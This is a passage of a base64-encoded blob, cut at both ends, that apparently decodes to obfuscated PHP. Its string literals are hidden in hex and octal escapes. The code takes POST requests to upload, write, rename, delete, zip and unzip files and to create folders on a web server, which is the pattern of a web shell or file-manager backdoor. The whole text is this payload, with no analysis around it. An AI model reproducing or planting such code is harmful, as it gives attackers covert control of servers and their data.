x4MmZceDY0XDE1MVwxNjZceDNlXDc0XHg2NFwxNTFcMTY2XHgyMFx4NjNceDZjXHg2MVwxNjNceDczXDc1XDQyXHg3NFx4NzlcMTYwXDE0NVx4MjJcNzYiIC4gJG1pbWVUeXBlWyJcMTUxXHg2ZVx4NjZceDZmIl0gLiAiXHgzY1x4MmZceDY0XDE1MVx4NzZceDNlXHgzY1wxNDRcMTUxXDE2Nlw0MFx4NjNcMTU0XDE0MVwxNjNceDczXDc1XDQyXHg3M1wxNTFceDdhXHg2NVw0Mlx4M2UiIC4gc2l6ZUZpbGUoJHBhdGgpIC4gIlw3NFx4MmZcMTQ0XHg2OVx4NzZcNzZcNzRcMTQ0XHg2OVx4NzZcNDBcMTQzXDE1NFx4NjFcMTYzXHg3M1w3NVx4MjJceDY1XHg2NFx4NjlcMTY0XHg1ZlwxNDJceDc0XHg2ZVw0Mlw3Nlx4MjBceDNjXHg2OVw0MFwxNTFcMTQ0XHgzZFw0MlwxNjJceDY1XDE1NlwxNDFcMTU1XHg2NVwxMDZcMTUxXDE1NFx4NjVcNDJceDIwXDE0NFx4NjFcMTY0XHg2MVw1NVwxNDRcMTUxXDE2Mlw3NVw0MiIgLiAkcGF0aCAuICJcNDJceDIwXDE0NFwxNDFceDc0XHg2MVx4MmRceDZlXHg2MVwxNTVceDY1XHgzZFw0MiIgLiBiYXNlbmFtZSgkZm9sZGVyKSAuICJcNDJceDIwXHg2M1wxNTRcMTQxXDE2M1wxNjNceDNkXHgyMlwxNDZcMTQxXDU1XHg2Y1x4NjlcMTQ3XHg2OFx4NzRceDIwXHg2Nlx4NjFceDJkXHg3MFx4NjVceDZlXHgyZFx4NzRcMTU3XHgyZFwxNjNcMTYxXHg3NVx4NjFcMTYyXDE0NVw0Mlx4M2VcNzRcNTdceDY5XHgzZVx4M2NcMTUxXDQwXDE1MVx4NjRceDNkXDQyXHg2NFx4NjVcMTU0XDE0NVx4NzRceDY1XDQyXDQwXDE0NFx4NjFcMTY0XDE0MVw1NVx4NjRceDY5XDE2Mlx4M2RcNDIiIC4gJHBhdGggLiAiXHgyMlw0MFwxNDNceDZjXHg2MVwxNjNcMTYzXHgzZFx4MjJcMTQ2XHg2MVw1NVwxNTRcMTUxXDE0N1wxNTBceDc0XHgyMFx4NjZcMTQxXHgyZFx4NzRceDcyXDE0MVwxNjNceDY4XDQyXDc2XHgzY1x4MmZceDY5XDc2XHgzY1x4NjlceDIwXDE1MVwxNDRceDNkXDQyXDE0NFx4NmZceDc3XHg2ZVx4NmNceDZmXDE0MVwxNDRcNDJcNDBcMTQ0XHg2MVx4NzRcMTQxXDU1XDE0NFx4NjlcMTYyXDc1XDQyIiAuICRwYXRoIC4gIlx4MjJcNDBcMTQzXDE1NFwxNDFcMTYzXHg3M1w3NVx4MjJcMTQ2XHg2MVw1NVwxNTRceDY5XDE0N1wxNTBcMTY0XHgyMFwxNDZcMTQxXDU1XHg2NFx4NmZcMTY3XDE1NlwxNTRceDZmXHg2MVx4NjRcNDJcNzZcNzRcNTdcMTUxXHgzZVx4M2NceDJmXDE0NFx4NjlcMTY2XHgzZVw3NFx4MmZcMTQ0XDE1MVx4NzZceDNlIjsgfSBlbHNlIHsgJHBhdGggPSAkZGlyIC4gYmFzZW5hbWUoJGZvbGRlcikgLiAiXDU3IjsgJG91dHB1dEZvbGRlcnMgLj0gIlx4M2NceDY0XHg2OVwxNjZceDIwXHg2M1x4NmNceDYxXDE2M1x4NzNcNzVcNDJceDY2XDE1NFx4NjVcMTcwXDQyXHgzZVx4M2NceDY0XDE1MVwxNjZcNDBcMTQzXHg2Y1x4NjFcMTYzXDE2M1w3NVw0MlwxNDZceDZmXDE1NFx4NjRceDY1XDE2Mlx4NzNceDIyXHgyMFx4NjlceDY0XDc1XHgyMlwxNTdcMTYwXDE0NVwxNTZcMTA0XHg2OVwxNjJcNDJcNDBcMTQ0XDE0MVwxNjRceDYxXHgyZFwxNDRceDY5XHg3Mlw3NVx4MjIiIC4gJHBhdGggLiAiXHgyMlw3Nlx4M2NceDY5XHgyMFwxNDNceDZjXHg2MVwxNjNcMTYzXDc1XHgyMlx4NjZcMTQxXHgyZFwxNTRceDY5XHg2N1wxNTBcMTY0XDQwXDE0Nlx4NjFcNTVcMTQ2XHg2Zlx4NmNcMTQ0XHg2NVx4NzJceDIyXHgzZVx4M2NcNTdceDY5XDc2XDQwIiAuIGJhc2VuYW1lKCRmb2xkZXIpIC4gIlx4M2NcNTdcMTQ0XHg2OVwxNjZcNzZceDNjXDE0NFwxNTFceDc2XHgyMFx4NjNcMTU0XHg2MVwxNjNcMTYzXDc1XHgyMlwxNDRceDYxXDE2NFwxNDVcNDJcNzYiIC4gZGF0ZSgiXHg2OFx4M2FcMTUxXHgzYVx4NzNcNDBcMTQxXDQwXHg2NFw1N1wxNTVceDJmXDEzMSIsIGZpbGVtdGltZSgkcGF0aCkpIC4gIlx4M2NceDJmXHg2NFwxNTFceDc2XHgzZVx4M2NcMTQ0XHg2OVwxNjZceDIwXHg2M1wxNTRcMTQxXDE2M1wxNjNceDNkXHgyMlx4NzRcMTcxXDE2MFwxNDVcNDJcNzYiIC4gZmlsZXR5cGUoJHBhdGgpIC4gIlw3NFx4MmZceDY0XDE1MVwxNjZceDNlXHgzY1x4NjRceDY5XDE2Nlw0MFx4NjNcMTU0XHg2MVx4NzNcMTYzXHgzZFw0Mlx4NzNceDY5XHg3YVwxNDVcNDJceDNlIiAuIGNobW9kRm9sZGVyKCRwYXRoKSAuICJcNzRcNTdceDY0XDE1MVwxNjZceDNlXDc0XDE0NFx4NjlcMTY2XDQwXDE0M1wxNTRceDYxXHg3M1x4NzNceDNkXHgyMlx4NjVceDY0XDE1MVx4NzRcMTM3XDE0Mlx4NzRceDZlXDQyXHgzZVx4MjBcNzRceDY5XDQwXDE1MVwxNDRceDNkXDQyXHg3MlwxNDVceDZlXDE0MVx4NmRcMTQ1XHg0NlwxNTFceDZjXHg2NVx4MjJcNDBcMTQ0XDE0MVwxNjRceDYxXDU1XDE0NFwxNTFceDcyXDc1XDQyIiAuICRwYXRoIC4gIlx4MjJcNDBcMTQ0XHg2MVx4NzRceDYxXDU1XHg2ZVwxNDFcMTU1XHg2NVx4M2RceDIyIiAuIGJhc2VuYW1lKCRmb2xkZXIpIC4gIlx4MjJceDIwXDE0M1wxNTRceDYxXHg3M1wxNjNceDNkXDQyXDE0NlwxNDFceDJkXHg2Y1x4NjlcMTQ3XHg2OFwxNjRcNDBceDY2XDE0MVx4MmRcMTYwXDE0NVwxNTZcNTVceDc0XDE1N1w1NVx4NzNceDcxXDE2NVwxNDFcMTYyXHg2NVx4MjJceDNlXHgzY1w1N1x4NjlcNzZceDNjXHg2OVw0MFx4NjlcMTQ0XHgzZFx4MjJceDY0XHg2NVwxNTRcMTQ1XDE2NFwxNDVcNDJceDIwXHg2NFwxNDFcMTY0XHg2MVx4MmRceDY0XHg2OVx4NzJcNzVcNDIiIC4gJHBhdGggLiAiXHgyMlx4MjBceDYzXDE1NFx4NjFcMTYzXHg3M1x4M2RceDIyXHg2NlwxNDFcNTVcMTU0XDE1MVx4NjdcMTUwXHg3NFw0MFwxNDZceDYxXHgyZFwxNjRcMTYyXHg2MVx4NzNceDY4XHgyMlx4M2VceDNjXHgyZlx4NjlceDNlXDc0XHg2OVw0MFx4NjlcMTQ0XHgzZFx4MjJcMTcyXHg2OVwxNjBceDQ0XDE1MVx4NzJcNDJcNDBceDY0XDE0MVwxNjRcMTQxXHgyZFx4NjRceDY5XHg3Mlw3NVx4MjIiIC4gJHBhdGggLiAiXHgyMlw0MFx4NjNcMTU0XDE0MVwxNjNcMTYzXDc1XDQyXHg2Nlx4NjFcNTVcMTU0XDE1MVwxNDdcMTUwXDE2NFx4MjBceDY2XHg2MVw1NVx4NjZcMTUxXHg2Y1x4NjVceDJkXDE3MlwxNTFceDcwXHg3MFwxNDVcMTYyXDQyXHgzZVx4M2NceDJmXDE1MVx4M2VcNzRceDJmXDE0NFx4NjlceDc2XHgzZVw3NFx4MmZceDY0XDE1MVx4NzZcNzYiOyB9IH0gfSAkcmVzdWx0WyJceDczXDE2NVwxNDNceDYzXHg2NVwxNjNcMTYzIl0gPSB0cnVlOyAkcmVzdWx0WyJcMTQ0XDE1MVwxNjIiXSA9ICR0aXRsZURpcjsgJHJlc3VsdFsiXHg2OFwxNjRcMTU1XDE1NCJdID0gJG91dHB1dCAuICRvdXRwdXRGb2xkZXJzIC4gJG91dHB1dEZpbGVzOyB9IGVsc2UgeyBpZiAoJGRhdGEgPT0gIlwxNjVceDcwXDE0NFx4NjFcMTY0XHg2NVwxMDZceDY5XDE1NFwxNDUiKSB7ICRkaXIgPSAkX1BPU1RbIlx4NjRceDY5XHg3MiJdOyBpZiAoaXNfd3JpdGFibGUoJGRpcikpIHsgJGVkaXRvckRhdGEgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsiXDE0M1wxNTdcMTQ0XHg2NSJdKTsgJHNhdmVEYXRhID0gY3JlYXRlRmlsZUZvcGVuKCRkaXIsICRlZGl0b3JEYXRhKTsgaWYgKCRzYXZlRGF0YSkgeyAkcmVzdWx0WyJceDczXHg3NVwxNDNceDYzXDE0NVx4NzNcMTYzIl0gPSB0cnVlOyAkcmVzdWx0WyJceDZkXDE2M1wxNDciXSA9ICJcMTA2XHg2OVwxNTRceDY1XDQwXHg3NVx4NzBcMTQ0XHg2MVwxNjRcMTQ1XHg2NFw0MFwxNjNcMTY1XHg2M1wxNDNceDY1XDE2M1wxNjNcMTQ2XHg3NVwxNTRceDZjXHg3OVw0MSI7IH0gZWxzZSB7ICRyZXN1bHRbIlx4NzNceDc1XHg2M1wxNDNceDY1XDE2M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJceDZkXHg3M1x4NjciXSA9ICJceDQ2XDE0MVwxNTFceDZjXDE0NVx4NjRceDIwXHg3NFx4NmZcNDBcMTY1XDE2MFwxNDRceDYxXDE2NFwxNDVceDIwXDE0Nlx4NjlceDZjXDE0NVx4MjEiOyB9IH0gZWxzZSB7ICRyZXN1bHRbIlwxNjNceDc1XHg2M1wxNDNcMTQ1XDE2M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJceDZkXHg3M1x4NjciXSA9ICJceDQ1XDE0NFwxNTFceDc0XDQwXHg3MFx4NjVcMTYyXDE1NVwxNTFcMTYzXHg3M1x4NjlceDZmXHg2ZVw0MFwxNDRcMTQ1XHg2ZVx4NjlcMTQ1XHg2NFw0MSI7IH0gfSBlbHNlIHsgaWYgKCRkYXRhID09ICJceDczXDE0NVx4NzRceDUyXDE0NVx4NmVcMTQxXHg2ZFwxNDUiKSB7ICRyZW5hbWVEaXIgPSAkX1BPU1RbIlx4NzJcMTQ1XDE1Nlx4NjFceDZkXHg2NVwxMDRceDY5XDE2MiJdOyAkbmV3TmFtZSA9ICRfUE9TVFsiXDE1NlwxNDVceDc3XHg0ZVwxNDFcMTU1XDE0NSJdOyBpZiAoaXNfZmlsZSgkcmVuYW1lRGlyKSkgeyAkdW5kb0RpciA9IGV4cGxvZGVMYXN0KCJcNTciLCAkcmVuYW1lRGlyKTsgfSBlbHNlIHsgJHVuZG9EaXIgPSBleHBsb2RlTGFzdCgiXDU3IiwgJHJlbmFtZURpcik7ICR1bmRvRGlyID0gZXhwbG9kZUxhc3QoIlx4MmYiLCAkdW5kb0RpclswXSk7IH0gJG5ld0RpciA9ICR1bmRvRGlyWzBdIC4gIlx4MmYiIC4gJG5ld05hbWU7IGlmIChpc19kaXIoJG5ld0RpcikgPT09IHRydWUpIHsgJHJlc3VsdFsiXDE0NVx4NzJcMTYyXHg2Zlx4NzIiXSA9IHRydWU7ICRyZXN1bHRbIlx4NzNceDc1XHg2M1wxNDNceDY1XHg3M1wxNjMiXSA9IGZhbHNlOyAkcmVzdWx0WyJcMTU1XHg3M1x4NjciXSA9ICJceDQ2XHg2Zlx4NmNceDY0XHg2NVwxNjJceDIwXDE0MVx4NmNcMTYyXDE0NVwxNDFceDY0XDE3MVw0MFx4NjVceDc4XDE1MVx4NzNcMTY0XDE0NVwxNDRcNDEiOyB9IGVsc2UgeyBpZiAoaXNfZmlsZSgkbmV3RGlyKSA9PT0gdHJ1ZSkgeyAkcmVzdWx0WyJcMTQ1XHg3Mlx4NzJcMTU3XDE2MiJdID0gdHJ1ZTsgJHJlc3VsdFsiXDE2M1x4NzVcMTQzXHg2M1x4NjVceDczXHg3MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NmRceDczXDE0NyJdID0gIlwxMDZceDY5XHg2Y1x4NjVcNDBcMTQxXDE1NFwxNjJcMTQ1XDE0MVx4NjRceDc5XDQwXHg2NVx4NzhceDY5XDE2M1x4NzRcMTQ1XHg2NFw0MSI7IH0gZWxzZSB7IGlmIChyZW5hbWUoJHJlbmFtZURpciwgJG5ld0RpcikpIHsgJHJlc3VsdFsiXHg3M1wxNjVceDYzXHg2M1wxNDVcMTYzXDE2MyJdID0gdHJ1ZTsgJHJlc3VsdFsiXHg2ZFwxNjNceDY3Il0gPSAiXHg1MlwxNDVceDZlXDE0MVwxNTVceDY1XDE0NFw0MFx4NzNcMTY1XHg2M1wxNDNcMTQ1XHg3M1x4NzNceDY2XHg3NVx4NmNceDZjXHg3OVw0MSI7IH0gZWxzZSB7ICRyZXN1bHRbIlwxNDVceDcyXDE2Mlx4NmZcMTYyIl0gPSBmYWxzZTsgJHJlc3VsdFsiXHg3M1x4NzVceDYzXHg2M1x4NjVcMTYzXHg3MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NmRceDczXHg2NyJdID0gIlx4NTJceDY1XDE1NlwxNDFcMTU1XHg2NVw0MFwxNjBcMTQ1XHg3MlwxNTVceDY5XHg3M1wxNjNcMTUxXHg2Zlx4NmVceDIwXDE0NFx4NjVcMTU2XHg2OVx4NjVceDY0XDQxIjsgfSB9IH0gfSBlbHNlIHsgaWYgKCRkYXRhID09ICJcMTYzXDE0NVwxNjRceDQ0XHg2NVx4NmNcMTQ1XHg3NFx4NjUiKSB7ICRkZWxldGUgPSBzZXREZWxldGUoJF9QT1NUWyJceDY0XDE1MVwxNjIiXSk7ICRyZXN1bHRbIlwxNjNceDc1XDE0M1x4NjNceDY1XHg3M1x4NzMiXSA9ICRkZWxldGU7IGlmICgkZGVsZXRlKSB7ICRyZXN1bHRbIlwxNTVceDczXDE0NyJdID0gIlx4NDRcMTQ1XDE1NFwxNDVcMTY0XDE0NVwxNDRceDIwXDE2M1x4NzVcMTQzXHg2M1x4NjVcMTYzXDE2M1x4NjZceDc1XDE1NFwxNTRceDc5XDQxIjsgfSBlbHNlIHsgJHJlc3VsdFsiXHg2ZFwxNjNceDY3Il0gPSAiXDEwNFx4NjVceDZjXHg2NVx4NzRcMTQ1XDE0NFx4MjBceDcwXHg2NVwxNjJcMTU1XDE1MVx4NzNceDczXDE1MVx4NmZcMTU2XHgyMFwxNDRcMTQ1XDE1NlwxNTFceDY1XDE0NFx4MjEiOyB9IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXHg3YVwxNTFceDcwXDEwNFwxNTFcMTYyIikgeyAkZGlyID0gJF9QT1NUWyJceDY0XDE1MVwxNjIiXTsgJHppcCA9ICRfUE9TVFsiXHg3YVwxNTFceDcwIl07ICR1bmRvRGlyID0gZXhwbG9kZUxhc3QoIlw1NyIsICR6aXApOyAkZm9sRGVyID0gZXhwbG9kZUxhc3QoIlw1NyIsICR1bmRvRGlyWzBdKTsgJHppcGZpbGUgPSAkZGlyIC4gJGZvbERlclsxXSAuICJcNTZcMTcyXHg2OVx4NzAiOyBpZiAoY2xhc3NfZXhpc3RzKCJceDVhXDE1MVx4NzBcMTAxXDE2MlwxNDNceDY4XDE1MVwxNjZceDY1IikpIHsgaWYgKGlzX3dyaXRhYmxlKCRkaXIpKSB7ICRyb290UGF0aCA9IHJlYWxwYXRoKCR6aXApOyAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsgJHppcC0+b3BlbigkemlwZmlsZSwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKTsgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRyb290UGF0aCksIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZKTsgZm9yZWFjaCAoJGZpbGVzIGFzICRuYW1lID0+ICRmaWxlKSB7IGlmICghJGZpbGUtPmlzRGlyKCkpIHsgJGZpbGVQYXRoID0gJGZpbGUtPmdldFJlYWxQYXRoKCk7ICRyZWxhdGl2ZVBhdGggPSBzdWJzdHIoJGZpbGVQYXRoLCBzdHJsZW4oJHJvb3RQYXRoKSArIDEpOyAkemlwLT5hZGRGaWxlKCRmaWxlUGF0aCwgJHJlbGF0aXZlUGF0aCk7IH0gfSAkemlwLT5jbG9zZSgpOyAkcmVzdWx0WyJcMTYzXHg3NVwxNDNceDYzXDE0NVwxNjNcMTYzIl0gPSB0cnVlOyAkcmVzdWx0WyJcMTU1XHg3M1wxNDciXSA9ICJceDQ2XHg2ZlwxNTRceDY0XHg2NVx4NzJcNDBceDdhXDE1MVwxNjBceDcwXDE0NVx4NjRceDIwXDE2M1wxNjVcMTQzXHg2M1x4NjVceDczXDE2M1x4NjZcMTY1XDE1NFx4NmNceDc5XDQxIjsgfSBlbHNlIHsgJHJlc3VsdFsiXHg3M1wxNjVceDYzXDE0M1x4NjVceDczXDE2MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NmRceDczXDE0NyJdID0gIlx4NWFceDY5XHg3MFx4MjBcMTYwXDE0NVwxNjJcMTU1XHg2OVx4NzNceDczXHg2OVx4NmZcMTU2XHgyMFx4NjRceDY1XHg2ZVwxNTFceDY1XDE0NFw0MSI7IH0gfSBlbHNlIHsgJHJlc3VsdFsiXDE2M1wxNjVcMTQzXDE0M1wxNDVcMTYzXDE2MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NmRcMTYzXDE0NyJdID0gIlx4NTlcMTU3XHg3NVx4NzJcNDBcMTIwXDExMFwxMjBceDIwXHg3NlwxNDVcMTYyXDE2M1wxNTFceDZmXHg2ZVx4MjBcMTQ0XDE1N1wxNDVceDczXDQwXHg2ZVwxNTdceDc0XDQwXHg3M1x4NzVcMTYwXDE2MFwxNTdcMTYyXDE2NFw0MFwxMzJcMTUxXDE2MFwxMDFceDcyXDE0M1x4NjhcMTUxXDE2NlwxNDVceDIxIjsgfSB9IGVsc2UgeyBpZiAoJGRhdGEgPT0gIlwxNjVcMTU2XDE3MlwxNTFcMTYwXDEwNlwxNTFceDZjXDE0NSIpIHsgJGZpbGUgPSAkX1BPU1RbIlwxNDZcMTUxXHg2Y1wxNDUiXTsgJGRpciA9IHBhdGhpbmZvKHJlYWxwYXRoKCRmaWxlKSwgUEFUSElORk9fRElSTkFNRSk7IGlmIChjbGFzc19leGlzdHMoIlwxMzJceDY5XDE2MFx4NDFceDcyXHg2M1x4NjhcMTUxXHg3Nlx4NjUiKSkgeyBpZiAoaXNfd3JpdGFibGUoJGRpcikpIHsgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7ICRyZXMgPSAkemlwLT5vcGVuKCRmaWxlKTsgaWYgKCRyZXMgPT09IHRydWUpIHsgJHppcC0+ZXh0cmFjdFRvKCRkaXIpOyAkemlwLT5jbG9zZSgpOyAkcmVzdWx0WyJceDczXHg3NVx4NjNceDYzXDE0NVwxNjNcMTYzIl0gPSB0cnVlOyAkcmVzdWx0WyJcMTU1XHg3M1x4NjciXSA9ICJcMTA2XDE1MVx4NmNcMTQ1XHgyMFwxNjVceDZlXHg3YVx4NjlceDcwXDE2MFwxNDVcMTQ0XDQwXHg3M1wxNjVceDYzXHg2M1wxNDVceDczXHg3M1x4NjZceDc1XHg2Y1wxNTRcMTcxXHgyMSI7IH0gZWxzZSB7ICRyZXN1bHRbIlx4NzNceDc1XHg2M1wxNDNceDY1XDE2M1wxNjMiXSA9IGZhbHNlOyAkcmVzdWx0WyJceDZkXDE2M1wxNDciXSA9ICJcMTI1XHg2ZVx4N2FcMTUxXHg3MFx4MjBcMTYwXHg2NVx4NzJcMTU1XHg2OVx4NzNceDczXHg2OVx4NmZcMTU2XDQwXDE0NFx4NjVceDZlXHg2OVwxNDVcMTQ0XHgyMSI7IH0gfSBlbHNlIHsgJHJlc3VsdFsiXHg3M1wxNjVcMTQzXHg2M1wxNDVcMTYzXDE2MyJdID0gZmFsc2U7ICRyZXN1bHRbIlwxNTVcMTYzXDE0NyJdID0gIlwxMjVcMTU2XHg3YVx4NjlcMTYwXDQwXDE2MFwxNDVceDcyXHg2ZFwxNTFcMTYzXHg3M1x4NjlceDZmXHg2ZVx4MjBceDY0XDE0NVwxNTZcMTUxXDE0NVx4NjRceDIxIjsgfSB9IGVsc2UgeyAkcmVzdWx0WyJcMTYzXHg3NVx4NjNceDYzXDE0NVx4NzNceDczIl0gPSBmYWxzZTsgJHJlc3VsdFsiXHg2ZFwxNjNceDY3Il0gPSAiXHg1OVwxNTdcMTY1XHg3Mlw0MFx4NTBceDQ4XDEyMFw0MFwxNjZcMTQ1XDE2Mlx4NzNcMTUxXHg2ZlwxNTZceDIwXDE0NFwxNTdceDY1XDE2M1x4MjBceDZlXHg2ZlwxNjRcNDBcMTYzXDE2NVwxNjBcMTYwXDE1N1wxNjJcMTY0XDQwXDEzMlx4NjlceDcwXDEwMVx4NzJceDYzXDE1MFx4NjlceDc2XHg2NVx4MjEiOyB9IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXDE1NlwxNDVceDc3XDEwNlx4NjlcMTU0XHg2NSIpIHsgJGRpciA9ICRfUE9TVFsiXHg2NFwxNTFceDcyIl07ICRuZXdmaWxlID0gJGRpciAuICRfUE9TVFsiXDE1Nlx4NjVcMTY3XHg0NlwxNTFceDZjXHg2NVx4NGVcMTQxXDE1NVwxNDUiXTsgaWYgKGlzX2ZpbGUoJG5ld2ZpbGUpKSB7ICRyZXN1bHRbIlx4NjVceDcyXHg3Mlx4NmZcMTYyIl0gPSB0cnVlOyAkcmVzdWx0WyJceDczXHg3NVx4NjNceDYzXDE0NVwxNjNceDczIl0gPSBmYWxzZTsgJHJlc3VsdFsiXDE1NVwxNjNcMTQ3Il0gPSAiXDEwNlx4NjlcMTU0XHg2NVx4MjBcMTU2XDE0MVx4NmRceDY1XHgyMFx4NjFceDZjXHg3MlwxNDVcMTQxXHg2NFwxNzFceDIwXHg2NVwxNzBceDY5XDE2M1x4NzRcMTQ1XHg2NFx4MjEiOyB9IGVsc2UgeyBpZiAoaXNfd3JpdGFibGUoJGRpcikpIHsgaWYgKGNyZWF0ZUZpbGVGb3BlbigkbmV3ZmlsZSwgJycpKSB7ICRyZXN1bHRbIlwxNjNceDc1XDE0M1wxNDNceDY1XDE2M1wxNjMiXSA9IHRydWU7ICRyZXN1bHRbIlwxNDZcMTUxXHg2Y1wxNDUiXSA9ICRuZXdmaWxlOyAkcmVzdWx0WyJceDZkXHg3M1x4NjciXSA9ICJcMTA2XHg2OVwxNTRcMTQ1XHgyMFwxNDNceDcyXHg2NVx4NjFceDc0XDE0NVx4NjRcNDBcMTYzXHg3NVwxNDNcMTQzXDE0NVx4NzNcMTYzXHg2NlwxNjVcMTU0XHg2Y1x4NzlcNDEiOyB9IGVsc2UgeyAkcmVzdWx0WyJcMTYzXDE2NVwxNDNcMTQzXHg2NVx4NzNceDczIl0gPSBmYWxzZTsgJHJlc3VsdFsiXHg2ZFwxNjNceDY3Il0gPSAiXHg0NlwxNDFceDY5XHg2Y1x4NjVcMTQ0XDQwXDE2NFx4NmZcNDBcMTQzXHg3MlwxNDVceDYxXDE2NFwxNDVceDIwXHg2NlwxNTFcMTU0XDE0NVx4MjEiOyB9IH0gZWxzZSB7ICRyZXN1bHRbIlx4NzNceDc1XHg2M1x4NjNcMTQ1XDE2M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJcMTU1XDE2M1x4NjciXSA9ICJceDRlXHg2NVwxNjdceDIwXHg0NlwxNTFceDZjXHg2NVw0MFwxNjBceDY1XHg3Mlx4NmRcMTUxXDE2M1wxNjNceDY5XDE1N1x4NmVceDIwXDE0NFwxNDVceDZlXHg2OVx4NjVcMTQ0XHgyMSI7IH0gJHJlc3VsdFsiXDE0NVwxNjJceDcyXDE1N1x4NzIiXSA9IGZhbHNlOyB9IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXDE1Nlx4NjVceDc3XDEwNlx4NmZceDZjXDE0NFx4NjVceDcyIikgeyAkZGlyID0gJF9QT1NUWyJcMTQ0XDE1MVwxNjIiXTsgJG5ld2ZvbGRlciA9ICRkaXIgLiAkX1BPU1RbIlx4NmVcMTQ1XDE2N1wxMDZceDZmXDE1NFx4NjRcMTQ1XHg3MlwxMTZceDYxXHg2ZFx4NjUiXTsgaWYgKGlzX2RpcigkbmV3Zm9sZGVyKSkgeyAkcmVzdWx0WyJcMTQ1XHg3Mlx4NzJcMTU3XHg3MiJdID0gdHJ1ZTsgJHJlc3VsdFsiXDE2M1wxNjVceDYzXDE0M1x4NjVcMTYzXHg3MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NmRcMTYzXDE0NyJdID0gIlx4NDZceDZmXHg2Y1wxNDRcMTQ1XDE2Mlx4MjBcMTU2XDE0MVx4NmRceDY1XDQwXDE0MVx4NmNceDcyXHg2NVwxNDFceDY0XHg3OVx4MjBceDY1XDE3MFx4NjlcMTYzXHg3NFwxNDVceDY0XDQxIjsgfSBlbHNlIHsgaWYgKGlzX3dyaXRhYmxlKCRkaXIpKSB7IGlmIChta2RpcigkbmV3Zm9sZGVyLCA1MTEsIHRydWUpKSB7ICRyZXN1bHRbIlx4NzNcMTY1XDE0M1wxNDNceDY1XHg3M1x4NzMiXSA9IHRydWU7ICRyZXN1bHRbIlwxNTVceDczXDE0NyJdID0gIlwxMDZcMTU3XHg2Y1x4NjRcMTQ1XHg3Mlw0MFx4NjNcMTYyXHg2NVwxNDFcMTY0XDE0NVx4NjRceDIwXHg3M1wxNjVcMTQzXDE0M1wxNDVceDczXDE2M1x4NjZcMTY1XDE1NFwxNTRceDc5XDQxIjsgfSBlbHNlIHsgJHJlc3VsdFsiXDE2M1wxNjVcMTQzXDE0M1wxNDVcMTYzXHg3MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NmRcMTYzXHg2NyJdID0gIlx4NDZcMTQxXHg2OVx4NmNceDY1XHg2NFx4MjBcMTY0XDE1N1w0MFx4NjNceDcyXHg2NVx4NjFcMTY0XDE0NVw0MFx4NjZcMTU3XDE1NFx4NjRceDY1XHg3Mlw0MSI7IH0gfSBlbHNlIHsgJHJlc3VsdFsiXDE2M1x4NzVceDYzXHg2M1x4NjVcMTYzXHg3MyJdID0gZmFsc2U7ICRyZXN1bHRbIlwxNTVceDczXHg2NyJdID0gIlwxMTZceDY1XDE2N1w0MFwxMDZcMTU3XDE1NFwxNDRceDY1XHg3Mlx4MjBceDcwXHg2NVx4NzJceDZkXDE1MVx4NzNceDczXDE1MVx4NmZceDZlXDQwXHg2NFwxNDVcMTU2XHg2OVwxNDVcMTQ0XDQxIjsgfSAkcmVzdWx0WyJcMTQ1XDE2Mlx4NzJcMTU3XHg3MiJdID0gZmFsc2U7IH0gfSBlbHNlIHsgaWYgKCRkYXRhID09ICJceDc1XHg3MFx4NmNceDZmXHg2MVx4NjRceDQ2XHg2OVwxNTRceDY1IikgeyAkZGlyID0gJF9QT1NUWyJcMTQ0XDE1MVwxNjIiXTsgJG5ld2ZpbGUgPSAkZGlyIC4gJF9QT1NUWyJceDY2XDE1MVx4NmNcMTQ1XDExNlwxNDFcMTU1XDE0NSJdOyBpZiAoaXNfZmlsZSgkbmV3ZmlsZSkpIHsgJHJlc3VsdFsiXHg2NVwxNjJceDcyXHg2ZlwxNjIiXSA9IHRydWU7ICRyZXN1bHRbIlx4NzNceDc1XHg2M1wxNDNceDY1XDE2M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJceDZkXDE2M1wxNDciXSA9ICJcMTA2XHg2OVx4NmNcMTQ1XDQwXHg2ZVx4NjFceDZkXDE0NVw0MFx4NjFceDZjXDE2MlwxNDVcMTQxXDE0NFx4NzlceDIwXHg2NVx4NzhceDY5XDE2M1wxNjRcMTQ1XHg2NFx4MjEiOyB9IGVsc2UgeyBpZiAoaXNfd3JpdGFibGUoJGRpcikpIHsgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJcMTQ2XHg2OVx4NmNceDY1Il1bIlx4NzRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRcMTQ1Il0sICRuZXdmaWxlKSkgeyAkcmVzdWx0WyJcMTYzXHg3NVwxNDNceDYzXDE0NVx4NzNceDczIl0gPSB0cnVlOyAkcmVzdWx0WyJcMTU1XHg3M1wxNDciXSA9ICJceDQ2XHg2OVx4NmNceDY1XHgyMFx4NzVcMTYwXHg2Y1wxNTdcMTQxXDE0NFx4NjVcMTQ0XDQwXDE2M1x4NzVcMTQzXHg2M1x4NjVcMTYzXHg3M1wxNDZceDc1XHg2Y1x4NmNceDc5XHgyMSI7IH0gZWxzZSB7ICRyZXN1bHRbIlx4NzNcMTY1XHg2M1x4NjNcMTQ1XDE2M1x4NzMiXSA9IGZhbHNlOyAkcmVzdWx0WyJcMTU1XDE2M1x4NjciXSA9ICJcMTA2XHg2MVx4NjlcMTU0XDE0NVwxNDRceDIwXHg3NFwxNTdceDIwXDE2NVx4NzBcMTU0XDE1N1